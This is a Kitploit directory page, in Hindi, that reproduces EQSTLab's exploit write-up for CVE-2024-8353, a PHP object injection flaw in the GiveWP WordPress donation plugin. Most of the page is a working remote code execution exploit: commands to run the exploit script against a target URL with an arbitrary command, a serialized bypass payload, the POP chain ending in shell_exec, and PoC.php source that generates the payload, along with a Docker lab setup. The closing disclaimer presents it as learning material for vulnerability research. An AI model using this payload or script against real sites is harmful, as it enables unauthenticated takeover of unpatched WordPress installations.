Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-8353 — GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2024-8353
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट

रिपॉजिटरी देखें
1221 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध आलेख है। इस कमज़ोरी की खोज करने वाले cuokon को धन्यवाद।

परिचय

CVE-2024-5932 का आगे का विश्लेषण EQST Insight R&T(PDF फ़ाइल)।

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 मनमाना फ़ाइल विलोपन और RCE PoC ★

विवरण

CVE-2024-8353 : GiveWP PHP Object Injection कमज़ोरी

विवरण: givewp – वर्डप्रेस के लिए डोनेशन प्लगइन और फंडरेज़िंग प्लेटफ़ॉर्म प्लगइन, 3.16.1 तक के सभी संस्करणों में, give_title और card_address जैसे कई पैरामीटरों के माध्यम से अविश्वसनीय इनपुट के डिसेरिएलाइज़ेशन के कारण PHP ऑब्जेक्ट इंजेक्शन के प्रति असुरक्षित है। यह अप्रमाणित हमलावरों के लिए PHP ऑब्जेक्ट इंजेक्ट करना संभव बनाता है। POP चेन की अतिरिक्त उपस्थिति हमलावरों को मनमानी फ़ाइलें हटाने और रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है। यह मूल रूप से cve-2024-5932 के समान ही कमज़ोरी है, हालाँकि, यह पता चला कि user_info पर stripslashes_deep की उपस्थिति is_serialized जाँच को बायपास करने की अनुमति देती है। यह समस्या अधिकतर 3.16.1 में पैच की गई थी, लेकिन 3.16.2 में और सख्ती जोड़ी गई।

उपयोग कैसे करें

⚠️PoC का उपयोग करते समय, आप उसी कमांड का उपयोग केवल एक बार कर सकते हैं क्योंकि “give_title” DB में संग्रहीत होता है और डुप्लिकेट के लिए जाँचा जाता है। इस स्थिति में, आप कुछ Linux ट्रिक्स का उपयोग कर सकते हैं, विशेष रूप से कोट्स। उदाहरण के लिए, यदि आप “echo” का उपयोग करते हैं, तो आप इसे “e‘’cho” जैसे टाइप करके पुनः उपयोग कर सकते हैं।

Git क्लोन

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

पैकेज इंस्टॉल करें

root@kitploit:~
pip install -r requirements.txt

कमांड

root@kitploit:~
# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

उदाहरण

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

आउटपुट

CVE-2024-8353.py alt text alt text

परिणाम

alt text

असुरक्षित वातावरण

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. फिर असुरक्षित GiveWP प्लगइन डाउनलोड करें:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. GiveWP प्लगइन की ज़िप फ़ाइल को अनज़िप करें और पूरी फ़ाइल को “/var/www/html/wp-content/plugins” निर्देशिका में कॉपी करें।

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. GiveWP प्लगइन सक्रिय करें

alt text

5. GiveWP प्लगइन के साथ नई पोस्ट जोड़ें और पोस्ट लिंक कॉपी करें

alt text

6. असुरक्षित लिंक जाँचें

alt text

PHPSTORM के माध्यम से डिबगिंग

आप PHPSTORM का उपयोग करके अपने GiveWP को डिबग कर सकते हैं।

1. अपने वर्डप्रेस(Docker) में xdebug डाउनलोड करें:

root@kitploit:~
pecl install xdebug

2. और फिर वर्डप्रेस की php.ini फ़ाइल इस प्रकार सेटअप करें(Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..और फिर आप अपने वर्डप्रेस को डिबग कर सकते हैं।

3. PHPSTORM को इस प्रकार सेटअप करें(लोकल):

alt text alt text

4. PHPSTORM उदाहरण (जैसे, TCPDF मनमाना फ़ाइल विलोपन)

alt text

विश्लेषण

कमज़ोर बिंदु (give/includes/process-donation.php)

मूल रूप से, अनुक्रम CVE-2024-5932 के समान है, अंतर यह है कि “is_serialized” तर्क को “give_title” पैरामीटर में भी जोड़ा गया है। यह विधि निर्धारित करती है कि यदि इंडेक्स 1 पर :(कोलन) चिह्न नहीं है, तो डेटा सीरियलाइज़ नहीं है।

alt text

“is_serialized” विधि के बाद, “stripslashes_deep” फ़ंक्शन बैकस्लैश को हटा देता है। इसलिए, अग्रणी बैकस्लैश () हटा दिया जाता है और सीरियलाइज़्ड डेटा पास कर दिया जाता है।

alt text

बायपास पेलोड

root@kitploit:~
\O:19:"Stripe\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\PaymentGateways\\DataTransferObjects\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\Vendors\\Faker\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\Onboarding\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

RCE के लिए POP चेनिंग

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (कमांड स्ट्रिंग लौटाएँ)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

हमले का परिदृश्य

POP चेन के माध्यम से RCE

POP चेन रिमोट कमांड निष्पादन की अनुमति देती है। alt text

url: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

अस्वीकरण

यह रिपॉजिटरी CVE-2024-8353 के लिए ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस कमज़ोरी के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।

EQST Insight

हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया नीचे दिए गए लिंक का अनुसरण करके हमारे प्रकाशनों को देखें। https://www.skshieldus.com/eng/business/insight.do

टूल डाउनलोड करें